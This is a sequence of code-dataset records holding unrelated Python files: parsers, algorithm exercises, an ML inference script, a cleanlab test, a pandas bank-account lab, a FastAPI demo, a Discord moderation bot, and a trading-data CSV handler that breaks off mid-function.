parse_statements\nfrom Parsing.ASTComponents import ast_node_keys\n\ndef parse_switch(driver):\n switch_token = driver.next_token()\n enforce_switch(switch_token)\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n switch_stmt = test_expression_step(driver)\n if switch_stmt:\n switch_stmt.add_descriptor_token(switch_token)\n return switch_stmt\n\n\ndef test_expression_step(driver):\n test_exp = parse_expression(driver)\n if driver.has_errors():\n return None\n if test_exp is None:\n return None\n switch_stmt = driver.make_node(ast_node_keys.SWITCH_STMT)\n switch_stmt.add_test_expression(test_exp)\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.CASE:\n return case_step(driver, switch_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef case_step(driver, switch_stmt):\n driver.discard_token()\n peek_token = driver.peek_token()\n case_stmt = driver.make_node(ast_node_keys.CASE_STMT)\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.IDENTIFIER:\n return case_value_step(driver, switch_stmt, case_stmt)\n elif is_primitive_literal(peek_token):\n return case_value_step(driver, switch_stmt, case_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef case_value_step(driver, switch_stmt, case_stmt):\n value_token = driver.next_token()\n case_stmt.add_value(value_token)\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.COMMA:\n return comma_step(driver, switch_stmt, case_stmt)\n elif peek_token.type_symbol == symbols.DO:\n return do_step(driver, switch_stmt, case_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef comma_step(driver, switch_stmt, case_stmt):\n driver.discard_token()\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.IDENTIFIER:\n return case_value_step(driver, switch_stmt, case_stmt)\n elif is_primitive_literal(peek_token):\n return case_value_step(driver, switch_stmt, case_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef do_step(driver, switch_stmt, case_stmt):\n driver.discard_token()\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n return statements_step(driver, switch_stmt, case_stmt)\n\n\ndef statements_step(driver, switch_stmt, case_stmt, is_default = False):\n stmts = parse_statements(driver)\n if driver.has_errors():\n return None\n if stmts is None:\n return None\n case_stmt.add_statements(stmts)\n if is_default:\n switch_stmt.add_default_case(case_stmt)\n else:\n switch_stmt.add_case(case_stmt)\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.DEFAULT:\n return default_step(driver, switch_stmt)\n elif peek_token.type_symbol == symbols.CASE:\n return case_step(driver, switch_stmt)\n elif peek_token.type_symbol == symbols.ENDSCOPE:\n return end_step(driver, switch_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef default_step(driver, switch_stmt):\n default_token = driver.next_token()\n if switch_stmt.has_default_case():\n driver.add_error(default_token, EXISTING_DEFAULT)\n return None\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n default_case = driver.make_node(ast_node_keys.CASE_STMT)\n return statements_step(driver, switch_stmt, default_case, True)\n\n\ndef end_step(driver, switch_stmt):\n driver.discard_token()\n return switch_stmt\n\n\ndef enforce_switch(switch_token):\n if switch_token.type_symbol != symbols.SWITCH:\n raise Exception(\"INTERNAL ERROR: expected switch statement, got \" + switch_token.literal)\n","repo_name":"MarkTigchelaar/Autopilot","sub_path":"src/Parsing/InternalStatementParsing/switch_parsing.py","file_name":"switch_parsing.py","file_ext":"py","file_size_in_byte":4839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"36485896217","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n \"\"\"\n @param: nums: A list of integers\n @return: A list of integers that's previous permuation\n \"\"\"\n def previousPermuation(self, nums):\n n = len(nums)\n right = n - 1\n # 从右往左,找第一个升序\n while right > 0:\n if nums[right] < nums[right - 1]:\n break\n else:\n right -= 1\n # 如果整个数组是降序排列,颠倒过来\n if right == 0:\n nums.reverse()\n return nums\n # 定位需要交换的高位\n right -= 1\n index = n - 1\n # 从右往左,找第一个比这个高位小的低位\n while index > right:\n # 交换高地位\n if nums[index] < nums[right]:\n nums[index], nums[right] = nums[right], nums[index]\n break\n else:\n index -= 1\n # 将被交换的高位之后的部分数组按逆序排列,因为只是上1个\n return nums[:right + 1] + sorted(nums[right + 1:], reverse=True)\n\n\ndef main():\n print(Solution().previousPermuation([1,3,2,3]))\n print(Solution().previousPermuation([1,2,3,4]))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"leiz2192/Python","sub_path":"exercise/previous-permutation/previous-permutation.py","file_name":"previous-permutation.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"11787747122","text":"# [Accounts Merge] https://leetcode.com/problems/accounts-merge/\n\nfrom collections import defaultdict\ndef accountsMerge(accounts):\n def find(v):\n if mails[v] == v:\n return v\n else:\n mails[v] = find(mails[v])\n return mails[v]\n def union(a, b):\n fa = find(a)\n fb = find(b)\n if fa != fb:\n del m2i[fb]\n mails[fb] = fa\n return fa\n m2i = dict()\n mails = dict()\n for acc in accounts:\n if len(acc) == 2:\n if acc[1] not in mails:\n mails[acc[1]] = acc[1]\n m2i[acc[1]] = acc[0]\n else:\n for i in range(2, len(acc)):\n a, b = acc[i-1], acc[i]\n if a not in mails:\n mails[a] = a\n m2i[a] = acc[0]\n if b not in mails:\n mails[b] = a\n union(a, b)\n res = defaultdict(list)\n for mail in mails:\n res[find(mail)].append(mail)\n ans = [[m2i[x]] + sorted(res[x]) for x in m2i]\n return ans\n","repo_name":"yholics1226/algorithms","sub_path":"L721.py","file_name":"L721.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"26733069697","text":"if 'import':\n import os\n from datetime import datetime\n import time\n import numpy as np\n from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\n import torch\n\n\nif 'local import':\n from DFL import Clip_of_gameS\n from model import Model\n from test import test, testSpotting\n\nopJ = os.path.join\n\n\nif 'parse':\n parser = ArgumentParser(description='context aware loss function', formatter_class=ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('--SPLIT', default='Test' )\n parser.add_argument('--P_input_feat')\n\n parser.add_argument('--max_epochs', type=int, default=1000, help='Maximum number of epochs' )\n parser.add_argument('--load_weights', default=None, help='weights to load' )\n\n parser.add_argument('--version', type=int, default=2, help='Version of the dataset' )\n parser.add_argument('--feature_dim', type=int, default=None, help='Number of input features' )\n parser.add_argument('--evaluation_frequency', type=int, default=10, help='Number of chunks per epoch' )\n parser.add_argument('--input_FpS', type=int, default=25 )\n parser.add_argument('--vocab_size', type=int, default=64, help='Size of the vocabulary for NetVLAD' )\n parser.add_argument('--NMS_threshold', type=float, default=0.0, help='NMS threshold for positive results' )\n\n parser.add_argument('--batch_size', type=int, default=256, help='Batch size' )\n parser.add_argument('--LR', type=float, default=1e-03, help='Learning Rate' )\n parser.add_argument('--LRe', type=float, default=1e-06, help='Learning Rate end' )\n parser.add_argument('--patience', type=int, default=10, help='Patience before reducing LR (ReduceLROnPlateau)' )\n\n parser.add_argument('--GPU', type=int, default=-1, help='ID of the GPU to use' )\n parser.add_argument('--max_num_worker', type=int, default=4, help='number of worker to load data')\n parser.add_argument('--seed', type=int, default=0, help='seed for reproducibility')\n\n\n parser.add_argument('--pool_win_frms_radius', type=int )\n parser.add_argument('--pool_type', default=\"NetVLAD++\")\n\n args = parser.parse_args()\n\n args.model_name = args.pool_type\n\n if 'todo: 调参':\n args.NMS_secs3event = [ 2, 20, 6 ]\n #三类的时间窗口,play,throwin, challenge\n\nif __name__ == '__main__':\n\n # for reproducibility\n torch.manual_seed(args.seed)\n np.random.seed(args.seed)\n\n\n os.makedirs( opJ(\"out\", args.model_name), exist_ok=True)\n\n\n if args.GPU >= 0:\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(args.GPU)\n\n\n\n start=time.time()\n\n\n # ------------------------------------main\n\n dataset_gameS = Clip_of_gameS( P_feat = args.P_input_feat ,\n SPLIT = args.SPLIT ,\n input_FpS = args.input_FpS ,\n pool_win_frms_radius = args.pool_win_frms_radius ,\n )\n\n loader = torch.utils.data.DataLoader(dataset_gameS,\n batch_size = 1 ,\n shuffle = False ,\n num_workers = 1 ,\n pin_memory = True ,\n )\n\n\n import pudb\n pu.db\n\n if args.feature_dim is None:\n args.feature_dim = dataset_gameS[0][1].shape[-1]\n\n # create model\n model = Model(weights = args.load_weights ,\n input_size = args.feature_dim ,\n num_classes = dataset_gameS.num_classes ,\n pool_win_frms = args.pool_win_frms_radius * 2 + 1 ,\n vocab_size = args.vocab_size ,\n input_FpS = args.input_FpS ,\n pool = args.pool_type ,\n ).cuda()\n\n ckpt = torch.load( os.path.join(\"weightS\", args.model_name, \"best.pth\") )\n model.load_state_dict(ckpt['state_dict'])\n\n\n probS__all_vdo = testSpotting(loader,\n model = model ,\n model_name = args.model_name ,\n NMS_secs3event = args.NMS_secs3event ,\n NMS_threshold = args.NMS_threshold ,\n SPLIT = args.SPLIT ,\n )\n # ------------------------------------main\n\n print(f'池化头部: {time.time() - start} 秒')\n","repo_name":"sisrfeng/kaggle_DFL","sub_path":"input/upload-wf/pool1D/use_pool.py","file_name":"use_pool.py","file_ext":"py","file_size_in_byte":4876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"37559157798","text":"import numpy as np\nimport pytest\nfrom cleanlab.datalab.issue_manager.noniid import simplified_kolmogorov_smirnov_test\n\n\n@pytest.mark.parametrize(\n \"neighbor_histogram, non_neighbor_histogram, expected_statistic\",\n [\n # Test with equal histograms\n (\n [0.25, 0.25, 0.25, 0.25],\n [0.25, 0.25, 0.25, 0.25],\n 0.0,\n ),\n # Test with maximum difference in the first bin\n (\n [1.0, 0.0, 0.0, 0.0],\n [0.0, 0.25, 0.25, 0.5],\n 1.0,\n ),\n # Test with maximum difference in the last bin\n (\n [0.25, 0.25, 0.25, 0.25],\n [0.5, 0.25, 0.25, 0.0],\n 0.25,\n ),\n # Test with arbitrary histograms\n (\n [0.2, 0.3, 0.4, 0.1],\n [0.1, 0.4, 0.25, 0.3],\n 0.15, # (0.2 -> 0.5 -> *0.9* -> 1.0) vs (0.1 -> 0.5 -> *0.75* -> 1.05\n ),\n ],\n ids=[\n \"equal_histograms\",\n \"maximum_difference_in_first_bin\",\n \"maximum_difference_in_last_bin\",\n \"arbitrary_histograms\",\n ],\n)\ndef test_simplified_kolmogorov_smirnov_test(\n neighbor_histogram, non_neighbor_histogram, expected_statistic\n):\n nh = np.array(neighbor_histogram)\n nnh = np.array(non_neighbor_histogram)\n statistic = simplified_kolmogorov_smirnov_test(nh, nnh)\n np.testing.assert_almost_equal(statistic, expected_statistic)\n","repo_name":"Alex868686/cleanlab","sub_path":"tests/datalab/issue_manager/test_noniid.py","file_name":"test_noniid.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"24"} +{"seq_id":"37364786469","text":"import pandas as pd\r\n\r\nnames = [\"Ram\", \"Sam\", \"Prabahu\"]\r\nac_nos = ['9893893891', '9893893898', '9893893871']\r\nac_types = ['SB', 'CA', 'SB']\r\nadhar_no = ['959389389173', '959389389179', '959389389159']\r\nbalance = [8989839, 7690990, 989330]\r\nd = {\"Name\": names, \"AccountNo\": ac_nos, \"AccountType\": ac_types,\r\n \"AadharNo\": adhar_no, \"balance\": balance}\r\n\r\ndf1 = pd.DataFrame(d)\r\n# print(df1)\r\n\r\n# converting to csv type\r\ndf1.to_csv(\"SBIAccountHolder.csv\")\r\n\r\nwhile 1:\r\n ch = int(input(\r\n \"Enter choice 1)Append row 2)Delete row 3)Credit 4)Debit 5)Account Details 6)Exit :\"))\r\n if ch == 1:\r\n print(\"Enter data to append : \")\r\n name = input(\"Name:\")\r\n acno = input(\"AccountNo:\")\r\n acty = input(\"AccountType:\")\r\n adno = input(\"Aadhaar Number:\")\r\n bal = input(\"Balance:\")\r\n names.append(name)\r\n ac_nos.append(acno)\r\n ac_types.append(acty)\r\n adhar_no.append(adno)\r\n balance.append(bal)\r\n d = {\"Name\": names, \"AccountNo\": ac_nos, \"AccountType\": ac_types,\r\n \"AadharNo\": adhar_no, \"balance\": balance}\r\n df1 = pd.DataFrame(d)\r\n df1['supporter'][0] = 'Vishnu'\r\n df1.to_csv(\"SBIAccountHolder.csv\")\r\n # df1.append(df2)\r\n print(df1)\r\n elif ch == 2:\r\n acno = input(\"enter account number to delete record:\")\r\n # x = df1.loc[df1['AccountNo'] == acno, 'Name'].iloc[0]\r\n # df1.drop(int(x), inplace=True)\r\n print(df1)\r\n df_index = df1.set_index('AccountNo')\r\n\r\n df_index = df_index.drop(1)\r\n df1 = df_index\r\n print(df_index)\r\n df_index.to_csv(\"SBIAccountHolder.csv\")\r\n\r\n elif ch == 3:\r\n acno = input(\"enter account number to credit:\")\r\n amt = int(input(\"ENter amount to credit :\"))\r\n df1.loc[df1['AccountNo'] == acno,\r\n 'balance'] = df1.loc[df1['AccountNo'] == acno, 'balance'] + amt\r\n # x = x+amt\r\n print(df1)\r\n df1.to_csv(\"SBIAccountHolder.csv\")\r\n elif ch == 4:\r\n acno = input(\"enter account number to Debit:\")\r\n amt = int(input(\"ENter amount to Debit :\"))\r\n if (df1.loc[df1['AccountNo'] == acno, 'AccountType'].iloc[0] == 'SB'):\r\n if ((df1.loc[df1['AccountNo'] == acno, 'balance']).tolist())[0] < amt:\r\n print(\"Insuffient Balance!\")\r\n continue\r\n df1.loc[df1['AccountNo'] == acno,\r\n 'balance'] = df1.loc[df1['AccountNo'] == acno, 'balance'] - amt\r\n # x = x+amt\r\n print(df1)\r\n df1.to_csv(\"SBIAccountHolder.csv\")\r\n elif ch == 5:\r\n print(df1)\r\n\r\n elif ch == 6:\r\n print(\"Exiting!\")\r\n break\r\n else:\r\n print(\"Enter valid choice!\")\r\n\r\nprint(\"Creating another CSV file!\")\r\ncontactNo = [\"9840787333\", \"9840787343\", \"9840787353\"]\r\ndob = ['12-2-1990', '12-2-2000', '12-2-2010']\r\naddress = [\"no 23 Kandigai,Chennai 127\",\r\n \"no 73,Melakottaiyur ,Chennai 127\", \"No 43, Anna Nagar\"]\r\nd2 = {\"Name\": names, \"AadharNo\": adhar_no,\r\n \"Contact_No\": contactNo, \"DOB\": dob, \"Address\": address}\r\ndf2 = pd.DataFrame(d2)\r\ndf2.to_csv(\"AdhaarDB.csv\")\r\ndf3 = pd.merge(df1, df2)\r\ndf3.to_csv(\"final.csv\")\r\nprint(df3)\r\n","repo_name":"vishnuap02/Introduction_to_DataScience_Lab","sub_path":"lab6.py","file_name":"lab6.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"4220674895","text":"# coding: utf-8\n\n# Torch related package\nfrom __future__ import print_function\n\n# Other package\nfrom PIL import Image\nimport numpy as np\nimport os\n\n# Other python files\nimport Label\n\n\nclass Picture:\n \"\"\"\n Picture is associated with one image (19 or 20 classes)\n \"\"\"\n\n def __init__(self,\n path_image=\"./\"):\n \"\"\"\n Initialize the image black and white image (19 or 20 classes)\n :param path_image: path to the image\n \"\"\"\n # Path of the image\n self.path_image = path_image\n # Import the image and transform it into array\n self.image_array = np.array(Image.open(self.path_image))\n # Height and width of the image\n self.height_image_array, self.width_image_array = self.image_array.shape\n\n def classes_to_color(self, id_to_label):\n \"\"\"\n :param id_to_label: name of the dictionary that will transform 1D image into RGB\n :return: the RGB image\n \"\"\"\n # Initialize the RGb image\n RGB = np.zeros((self.height_image_array, self.width_image_array, 3))\n\n # For each pixel add the write color according to some rules given by id_to_label\n for i, row in enumerate(self.image_array):\n for j, pixel in enumerate(row):\n RGB[i, j, :] = id_to_label[pixel].color\n\n return RGB\n\n\ndef make_dataset(mode, path_data, end_name):\n \"\"\"\n :param mode: train val or test\n :param path_data: path to the folder that contain all the data\n :param end_name: end of the name of image that you want to keep\n :return: The entire DataSet with the right name (according to end_name) which is at the location path_data and mode\n The result is an array with all the files. The names of each pictures is also store.\n \"\"\"\n # Creat the complete path\n img_path = os.path.join(path_data, mode)\n # Item will contains the paths\n items = []\n # image_names will contains all the image name associated with the paths\n image_names = []\n # list of all the directory in the folder (it will be the name of german city)\n categories = os.listdir(img_path)\n # We look at every City\n for c in categories:\n # Get the name of all file in the directory\n for name in os.listdir(os.path.join(img_path, c)):\n # Keep only the files names that we wanted\n if name.endswith(end_name):\n items.append(os.path.join(img_path, c, name))\n image_names.append(os.path.join(c, name))\n\n return items, image_names\n\n\n\ndef transform_image_to_RGB(path_data,\n from_picture=0, to_picture=2,\n mode=\"test\",\n end_name='leftImg8bit.png'):\n \"\"\"\n :param path_data: path to the folder that contain all the data\n :param from_picture: first picture that will be transform\n :param to_picture: last picture that will be transform\n :param mode: train val or test\n :param end_name: end of the name of image that you want to keep\n :return: Nothing but save to_picture-from_picture images into RGB format that will be in the path_data/mode\n location and have the exact end_name\n \"\"\"\n # Make the DataSet and the names\n paths, names = make_dataset(mode=mode,\n path_data=path_data,\n end_name=end_name)\n\n # sort the path and name so that it is always organized in the same way\n paths.sort()\n names.sort()\n\n # Reduce the number of image\n paths = paths#[from_picture:to_picture]\n names = names#[from_picture:to_picture]\n\n # Create the dictionary that will transform 1D to RBG image\n labels = Label.create_label_plot()\n train_id2label = Label.train_id2label(labels)\n\n # Loop over each picture\n for i in range(len(paths)):\n # Create the Picture type\n picture = Picture(path_image=paths[i])\n\n # Transform into RGB\n RGB = picture.classes_to_color(id_to_label=train_id2label)\n\n # Change the name\n path_export_color = paths[i].replace(end_name, 'prediction_color.png')\n\n # transform into PIL image\n RGB = np.uint8(RGB)\n RGB = Image.fromarray(RGB)\n\n # Save the file\n RGB.save(path_export_color)\n with open(\"/home_expes/kt82128h/GridNet/Python_Files/Python_print_test.txt\", 'a') as txtfile:\n txtfile.write(\"image saved \" + path_export_color + \"\\n\")\n","repo_name":"Hv0nnus/GridNet","sub_path":"Python_Files/Manage_image.py","file_name":"Manage_image.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"24"} +{"seq_id":"39984507526","text":"def drawStars(n, x):\n table = []\n if n == 3:\n return x\n else:\n for i in x:\n table.append(i*3)\n for i in x: \n # 중간에 x, 즉 n-1 에서 찍은 별 리스트의 길이를 곱하면 빈 공간의 길이가 딱 나온다. \n # 왜냐하면 딱 n//3의 길이로 리스트가 구성되기 때문이다.\n table.append(i+' '*len(x)+i)\n for i in x:\n table.append(i*3)\n return drawStars(n//3, table)\n \nn = int(input())\ntable_3 = ['***', '* *', '***']\ntable_n = drawStars(n, table_3)\nfor i in table_n:\n print(i)\n \n# 이 문제는 여러가지 답이 있었지만 재귀적으로 푼 답을 찾아보았다.\n# 처음에는 위 답이 맘에 들지 않았지만...\n# for 문을 이용해서 어떤 특정 상황에는 별을 찍지 않는 방법은\n# 재귀적으로 푼 문제가 아니라고 생각했고 돌고 돌아 다시 위 답을보니\n# 위 답이 재귀적으로 푼 문제더라... \n","repo_name":"brandonccccc/python-practice","sub_path":"백준/복습_bunggin12/9.재귀/2447_별찍기10.py","file_name":"2447_별찍기10.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"38964706829","text":"from fastapi import FastAPI\nimport random\n\n\n# コンソールから実行は以下のコマンド\n# $ python3 -m uvicorn challenge:app --reload\napp = FastAPI()\n\n@app.get(\"/\")\nasync def get_index():\n return {\"message\": \"hello world\"}\n\n\n@app.get(\"/echo/{data}\")\nasync def get_echo(data: str):\n return {\n \"message\": \"got the message: {0}\".format(data)\n }\n\n# 100分の1で当たるガチャ関数\ndef _exec_gacha():\n return random.randrange(0, 100) == 0\n\n@app.get(\"/gacha\")\nasync def get_gacha():\n message = \"you lose\"\n if _exec_gacha():\n message = \"you win\"\n return {\n \"message\": message\n }\n","repo_name":"iij/bootcamp","sub_path":"src/server-app/test-hands-on/exercises/exercise2/challenge.py","file_name":"challenge.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"ja","doc_type":"code","stars":55,"dataset":"github-code","pt":"24"} +{"seq_id":"69924917822","text":"import discord\nfrom discord.ext import commands\nfrom time import sleep\nfrom aioconsole import aexec\n\nclass Moderation(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n \"\"\"Moderation Commands\n \n These are commands that are used to assist moderators and administrators moderate the server and keep it safe\n \"\"\"\n # Check if the user is the bot owner\n def is_bot_owner(ctx):\n return ctx.author.id == 457910942114512930\n\n # Create a predicate to check if the user is the bot owner\n def is_owner(ctx):\n return ctx.author.id == ctx.guild.owner.id\n\n # Create a predicate to check if the user is an adminisrator\n def is_admin(ctx):\n return ctx.author.guild_permissions.administrator\n\n # Create a predicate to check if the user is a moderator\n def is_mod(ctx):\n mod_role = ctx.guild.get_role(753088662090023042)\n return mod_role in ctx.author.roles\n\n # Eval command\n @commands.command(name='eval', hidden=True)\n @commands.check(is_bot_owner)\n async def _eval(self, ctx, *, body: str):\n # Variables for the exec command\n localVariables = {\n 'bot': self.bot,\n 'ctx': ctx,\n 'channel': ctx.channel,\n 'author': ctx.author,\n 'guild': ctx.guild,\n 'message': ctx.message\n }\n # Execute the code\n try:\n await aexec(body, localVariables)\n await ctx.message.add_reaction('✅')\n except Exception as e:\n await ctx.send(f'```py\\n{e}```')\n \n # Ban command\n @commands.command()\n @commands.check(is_admin)\n async def ban(self, ctx, member: discord.Member, *, reason: str):\n # Ban the user\n await member.ban(reason=reason + f' ({ctx.author.name}#{ctx.author.discriminator})')\n await ctx.send(f'{member.name} has been banned for {reason}')\n print(f'{member.name} has been banned for {reason}')\n\n # Unban command\n @commands.command()\n @commands.check(is_admin)\n async def unban(self, ctx, *, id: int):\n # Get the banned user\n user = await self.bot.fetch_user(id)\n\n # Unban the user\n await ctx.guild.unban(user)\n\n # Clear command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def clear(self, ctx, amount: int):\n # Delete the specified amount of messages\n await ctx.channel.purge(limit=amount+1)\n confirmation = await ctx.send(f'Cleared {amount} messages')\n print(f'Cleared {amount} messages')\n sleep(3)\n if confirmation:\n await confirmation.delete()\n\n\n # Kick command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def kick(self, ctx, member: discord.Member, *, reason: str):\n # Kick the user\n await member.kick(reason=reason + f' ({ctx.author.name}#{ctx.author.discriminator})')\n await ctx.send(f'{member.name} has been kicked for {reason}')\n print(f'{member.name} has been kicked for {reason}')\n \n # Slowmode command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def slowmode(self, ctx, seconds: int):\n # Set the slowmode\n await ctx.channel.edit(slowmode_delay=seconds)\n await ctx.send(f'Slowmode set to {seconds} seconds')\n print(f'Slowmode in {ctx.channel.name} set to {seconds} seconds')\n\n # Mute command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def mute(self, ctx, member: discord.Member, *, reason: str):\n # Mute the user\n await member.add_roles(ctx.guild.get_role(753342159444377611))\n await ctx.send(f'{member.name} has been muted for {reason}')\n print(f'{member.name} has been muted for {reason}')\n\n # Unmute command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def unmute(self, ctx, member: discord.Member):\n # Unmute the user\n await member.remove_roles(ctx.guild.get_role(753342159444377611))\n await ctx.send(f'{member.name} has been unmuted')\n print(f'{member.name} has been unmuted')\n \ndef setup(bot):\n bot.add_cog(Moderation(bot))","repo_name":"joqwer/generic-python-discord-bot","sub_path":"cogs/moderation.py","file_name":"moderation.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"5914511408","text":"from broker.data_handlers.data_handler import AbstractDataHandler\nfrom datetime import datetime\nfrom broker.symbol import Symbol\nimport numpy as np\nimport pandas as pd\nimport os\nfrom events import MarketEvent\n\n\nclass CSVDataHandler(AbstractDataHandler):\n def __init__(self,events_queue, symbol_list,account,csv_dir='sample_data/', timeframe='D1',\n start_date = datetime(2001,1,1), end_date=datetime(2015,1,1)):\n self.events = events_queue\n self.instruments_list = symbol_list\n self.account = account\n self.start_date = start_date\n self.end_date = end_date\n self.csv_dir = csv_dir\n self.timeframe = timeframe\n\n # Containers for the data and time index to align\n self.data={}\n self.latest_data={}\n self.data_generator={}\n self.comb_index = None\n\n # Container for Symbol (objects)\n self.symbols_obj = {}\n\n # Variables for backtesting\n self.continue_backtest = True\n self.data_length = 0\n\n # Fetch the data from database\n self.pairs_available = self._get_instruments_info()\n self._load_data()\n\n\n def _get_instruments_info(self):\n pairs_available = []\n directory = self.csv_dir+self.timeframe\n for file in os.listdir(directory):\n if file.endswith(\".csv\"):\n pairs_available.append(file[:-4])\n\n return pairs_available\n\n def _load_and_format_csv(self,symbol,timeframe):\n file_adress = self.csv_dir+timeframe+'/'+symbol+'.csv'\n csv_data = pd.read_csv(file_adress,header=0, index_col=0,parse_dates={'datetime': [1, 2]})\n csv_data.drop('',axis=1,inplace=True)\n csv_data.columns = ['open','low','high','close']\n\n return csv_data[['open','high','low','close']]\n\n def _load_data(self):\n for instrument in self.instruments_list:\n if instrument not in self.pairs_available:\n print('Symbol %s not in the csv_dir specified' %instrument)\n break\n\n conversion_rate = instrument[-3:] + self.account.currency\n inverse_rate = conversion_rate[-3:]+conversion_rate[:3]\n symbol = Symbol(instrument,self.timeframe,conversion_rate,inverse_rate,0)\n\n #Get the data\n csv_data = self._load_and_format_csv(instrument,self.timeframe)\n self.data[instrument] = csv_data.truncate(before=self.start_date, after=self.end_date)\n self.symbols_obj[instrument]=symbol\n\n #Create or combine the list of dates\n if self.comb_index is None:\n self.comb_index = self.data[instrument].index\n else:\n self.comb_index.union(self.data[instrument].index)\n\n #Set the latest_data to none for the instrument\n self.latest_data[instrument]=[]\n\n self.data_length = len(self.comb_index)\n\n #Conversion rate data\n for instrument,symbol in self.symbols_obj.items():\n conversion_symbol = symbol.conversion_rate\n inverse_symbol = symbol.conversion_rate[3:] + symbol.conversion_rate[:3]\n self.latest_data[conversion_symbol] = []\n\n if conversion_symbol in self.pairs_available:\n data = self._load_and_format_csv(conversion_symbol,self.timeframe)\n self.data[conversion_symbol]=data\n elif inverse_symbol in self.pairs_available:\n data = self._load_and_format_csv(inverse_symbol,self.timeframe)\n self.data[conversion_symbol]= 1/data\n elif conversion_symbol[:3] == conversion_symbol[3:]:\n self.data[conversion_symbol] = pd.DataFrame(np.ones(len(self.comb_index)),index=self.comb_index,columns=['close'])\n else:\n print('Pairs %s and %s not available in DB' % (conversion_symbol, inverse_symbol))\n\n #create the generators\n self.create_generators()\n\n def create_generators(self):\n #Reindex the dataframes and create generators\n self.data_generator.clear()\n for instrument,symbol in self.symbols_obj.items():\n self.data_generator[instrument]=self.data[instrument].reindex(index=self.comb_index,method='pad').itertuples()\n self.data_generator[symbol.conversion_rate] = self.data[symbol.conversion_rate].reindex(index=self.comb_index,method='pad').itertuples()\n\n def reset_generators(self):\n self.create_generators()\n self.continue_backtest=True\n\n def _get_new_bar(self,symbol):\n # Returns the latest bar from the data feed.\n for b in self.data_generator[symbol]:\n yield b\n\n def get_latest_bars(self, symbol, N=1):\n # Returns the last N bars from the latest_symbol list.\n try:\n bars_list = self.latest_data[symbol]\n except KeyError:\n print(\"Symbol %s is not available in the historical data set.\" % symbol)\n raise\n else:\n return bars_list[-N:]\n\n def get_latest_bar_value(self,symbol,val_type='close'):\n # Returns of OHLCVI values form the pandas Bar series object.\n try:\n bars_list = self.latest_data[symbol]\n except KeyError:\n print(\"That symbol is not available in the historical data set.\")\n raise\n else:\n return getattr(bars_list[-1], val_type)\n\n\n def get_latest_bars_values(self, symbol, val_type='close',N=1):\n # Returns the last N bar values from the latest_symbol list, or N-k if less available.\n bars_list = self.get_latest_bars(symbol, N)\n\n return np.array([getattr(b, val_type) for b in bars_list])\n\n def get_latest_bar_datetime(self, symbol):\n # Returns a Python datetime object for the last bar.\n try:\n bars_list = self.latest_data[symbol]\n except KeyError:\n print(\"That symbol is not available in the historical data set.\")\n raise\n else:\n return bars_list[-1][0]\n\n def update_bars(self):\n # pushes the latest bar to the latest_symbol_data structure for all symbols in the symbol list.\n for s in self.data_generator:\n try:\n bar = next(self._get_new_bar(s))\n except StopIteration:\n self.continue_backtest = False\n else:\n if bar is not None:\n self.latest_data[s].append(bar)\n\n self.events.put(MarketEvent())\n\n def get_home_quote(self, currency):\n # Returns the conversion factor\n quote = self.get_latest_bar_value(currency)\n return 